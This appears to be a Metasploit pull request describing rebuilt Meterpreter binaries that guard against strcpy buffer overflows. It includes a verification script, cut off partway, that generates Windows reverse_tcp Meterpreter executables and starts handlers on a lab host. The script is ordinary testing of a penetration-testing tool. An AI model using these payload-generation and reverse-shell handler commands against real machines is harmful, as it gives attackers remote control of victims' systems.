Meterpreter bins after Meterpreter PR 32

Protects against potential BOFs due to strcpy usage.

These binaries were built against meterpreter master after
https://github.com/rapid7/meterpreter/pull/32 landed.

The CI tests can be seen here:

https://ci.metasploit.com/view/Meterpreter/job/MeterpreterWin/75/

Note, this commit is signed. Your merge commit should be signed, too, so
people can be assured that nobody is backdooring Meterpreter on the sly.

## Verification

The following test shows that Meterpreter is still minimally functional; sessions are created, exercised, and shut down, and post modules still operate on the given sessions.

The targets were a 64-bit Windows and a 32-bit Windows. On the 64-bit Windows platform, both 32- and 64-bit Meterpreter binaries were used.

Here is the RC script. The rest was manual:

````
use payload/windows/meterpreter/reverse_tcp
set LHOST 192.168.145.1
set LPORT 4432
generate -t exe -f /tmp/meterpreter32.exe

use payload/windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.145.1
set LPORT 4464
generate -t exe -f /tmp/meterpreter64.exe

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.145.1
set LPORT 4432
set ExitOnSession false
exploit -j

set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LPORT 4464
exploit -j
